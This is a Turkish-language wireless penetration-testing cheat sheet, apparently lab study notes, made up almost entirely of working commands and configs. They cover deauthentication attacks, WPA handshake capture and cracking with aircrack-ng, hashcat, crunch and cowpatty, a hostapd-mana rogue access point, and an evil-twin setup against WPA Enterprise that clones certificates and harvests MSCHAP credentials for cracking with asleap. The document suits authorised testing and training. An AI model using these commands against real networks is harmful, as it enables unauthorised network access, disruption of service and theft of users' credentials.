Wireless Pentest

Hazırlık

airmon-ng # Wireless Interfaces
airmon-ng check # Kapatilması gereken servisleri listeler
airmon-ng check kill # Servisleri kapatir
airmon-ng start wlan0 # Monitor modu başlatır
airmon-ng start wlan0 2 # Belirli bir kanalda baslatir
airmon-ng stop wlan0mon # Monitor modu kapatır

iw dev wlan0mon info # Interface bilgileri gösterir
iwconfig wlan0mon # Aynı

Airodump (Sniffing)

airodump-ng -c 2 wlan0mon # Access Point ve Station Gösterir ve handshake toplar
airodump-ng -c 2 --bssid <AP_BSSID> wlan0mon # Sadece belirli AP'yi izler
airodump-ng --output-format csv,pcap wlan0mon # Çıktı formatı belirler

SPACE # Pause Start
TAB # Scroll
M # Renk Seçme
A # Görüntüleme Seçimi
S # Sorting Seçenekleri

Aireplay (Trafik Oluşturma)

aireplay-ng -9 wlan0mon # Inject edilebilen ap'leri listeler (Tek channel olmalı)
aireplay-ng -9 -e testwifi -a <AP_BSSID> wlan0mon # Tek AP'de test eder
aireplay-ng -9 -e testwifi -a <AP_BSSID> wlan0mon -D # AP Detection kapar
aireplay-ng -9 -i wlan1mon wlan0mon # Card-to-card injection (Daha sağlıklı)


aireplay-ng -0 1 -a <AP_BSSID> -c <STATION_BSSID> wlan0mon # Death Saldırısı
aireplay-ng -0 1 -a <AP_BSSID> wlan0mon # Broadcast Deauth

Aircrack (Handshake Kırma)

aircrack-ng -S # Benchmark

# Handshake ile parola kırar
aircrack-ng -w usr/share/john/password.lst -e wifiname -b <AP_BSSID> wpa.cap

Airdecap

airdecap-ng -b <AP_BSSID> test.cap # Cap dosyasında filtreleme yapar
airgraph-ng -i wifi.csv -o capr.png -g CAPR # Client-to-AP-Relationship grafiği
airgraph-ng -i wifi.csv -o capr.png -g CPG # Client Probe Grafiği

# Trafiği çözer
airdecap-ng -b <AP_BSSID> -e wifiname -p password123 wpa.cap

Deauth Saldırısı

BSSID Lookup: https://www.wireshark.org/tools/oui-lookup.html

ESSID Lookup: https://wigle.net/

airodump-ng wlan0mon # Saldıracağımız ağı buluyoruz (Client olmalı)
airodump-ng -c 3 -w wpa --essid wifi_name --bssid <AP_BSSID> wlan0mon
aireplay-ng -0 1 -a <AP_BSSID> -c <STATION_BSSID> wlan0mon
aireplay-ng -0 1 -a <AP_BSSID> wlan0mon

aircrack-ng -w /usr/share/john/password.lst -e wifi_name -b <AP_BSSID> wpa-01.cap
airdecap-ng -b <AP_BSSID> -e wifi_name -p password123 wla-01.cap

Wordlist Rules

code /etc/john/john.conf # Line 961 regex rules
john --wordlist=/usr/share/john/password.lst --rules --stdout | aircrack-ng -e wifi_name -w - wpa-01.cap

# @ lowercase or setted chars
# , uppercase
# % numbers
# ^ symbols
crunch 8 9 abc123 # a3aac2311
crunch 11 11 -t Password%%% # Password984
crunch 1 1 -p abcde12345 # 53ed214cba
crunch 1 1 -p dog bird fox # birdfoxdog
crunch 5 5 -t ddd%% -p dog bird fox # foxdogbird86
crunch 5 5 aADE -t ddd@@ -p dog bird fox # foxdogbirdAE

crunch 8 9 abc123 | aircrack-ng -e wifi_name wpa-01.cap -w -

rsmangler --file wordlist.txt --min 12 --max 13 --output mangled.txt
rsmangler --file wordlist.txt | aircrack-ng -e wifi_name wpa-01.cap -w -

hashcat -I # OpenCL varsa çok yavaş direkt aircrack kullan
hashcat -b -m 2500
hashcat --help

/usr/lib/hashcat-utils/cap2hccapx.bin wpa-01.cap output.hccapx
hashcat -m 2500 output.hccapx /usr/share/john/password.lst

Airolib

airolib-ng wifi.sqlite --import essid essid.txt
airolib-ng wifi.sqlite --import passwd /usr/share/john/password.lst
airolib-ng wifi.sqlite --batch
airolib-ng wifi.sqlite --stats

aircrack-ng -r wifi.sqlite wpa-01.cap # Çok daha hızlı kırar önceden hesaplandığı için

Cowpatty

genpmk -f /usr/share/john/password.lst -d wifihashes -s wifi_name
cowpatty -r wpa-01.cap -d wifihashes -s wifi # Çok daha hızlı

Rogue AP

  • ESSID ve BSSID

  • Auth Türü (WEP, WPA, WPA2, WPA3)

  • PSK var mı

  • Channel No

airodump-ng -w discovery --output-format pcap wlan0mon
# wlan.fc.type_subtype == 0x08 && wlan.ssid == "wifi_name"

# Wireless Management > Tagged Params > Vendor Specific
# Wireless Management > Tagged Params > RSN (WPA2)
# Wireless Management > Tagged Params > RSN > Pairwise List (TKIP)
# Wireless Management > Tagged Params > Vendor Specific > Unicast List (TKIP)
# Wireless Management > Tagged Params > RSN > Auth Key Management (PSK)
# Wireless Management > Tagged Params > Vendor Specific > Auth Key Management (PSK)
code wifi_name-mana.conf
interface=wlan0
ssid=wifi_name
channel=1
ieee80211n=1
hw_mode=g # 2.4ghz=g 5.ghz=a
wpa=3 # WPA=1 WPA2=2 İkiside=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=password123 # Fark etmez
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP
mana_wpaout=/root/Desktop/wifi_name.hccapx
hostapd-mana wifi_name-mana.conf
# Eğer bizim AP gerçek AP'den daha yakınsa hedefe Handshake alabiliriz
aireplay-ng -0 0 -a <AP_BSSID> wlan0mon
aircrack-ng wifi_name.hccapx -e wifi_name -w /usr/share/john/password.lst

WPA Enterprise

  • Küçük işletmeler için mantıklı çünkü bir private key ile bağlanılıyor.

  • Büyük işletmelerde bu key çalınabilir o yüzden mantıksız.

airodump-ng wlan0mon # AUTH MGT Gözükmeli
airodump-ng -c 2 -w wifi_name wlan0mon
aireplay-ng -0 1 -a <AP_BSSID> -c <CLIENT_BSSID>


wlan.bssid==<AP_BSSID> && eap && tls.handshake.certificate
# Aşağıdaki sertifikayı bulup export packet bytes yapıyoruz (cert.der)
# Extensibele Auth Protocol > TLS1.2> Handshake>Certificate>Certificate 2.

openssl x509 -inform der -in cert.der -text # Kontrol edebiliriz

code /etc/freeradius/3.0/certs/ca.cnf
code /etc/freeradius/3.0/certs/server.cnf
# 49-56 arasını sertifikadaki bilgiler ile değiştiriyoruz

cd /etc/freeradius/3.0/certs/
rm dh
make # Bir daha sertifikaları derliyoruz. Sonda hata verebilir normal

code /etc/hostapd-mana/mana.conf 
ssid=wifi_name
interface=wlan0
driver=nl80211
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=password123
dh_file=/etc/freeradius/3.0/certs/dh
auth_algs=1
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout/tmp/hostapd.credout
mana_eapsuccess=1
mana_eaptls=1
code /etc/hostapd-mana/mana.eap_user

*      PEAP,TTLS,TLS,FAST
"t"    TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2   "password123"   [2]
hostapd-mana /etc/hostapd-mana/mana.conf
# Eğer bir kullanıcı parola girerse asleap olan komutu kopyala
asleap -C xxxxx -R xxxxxxxxxxxx -W /usr/share/john/password.lst
cat /tmp/hostapd.credout
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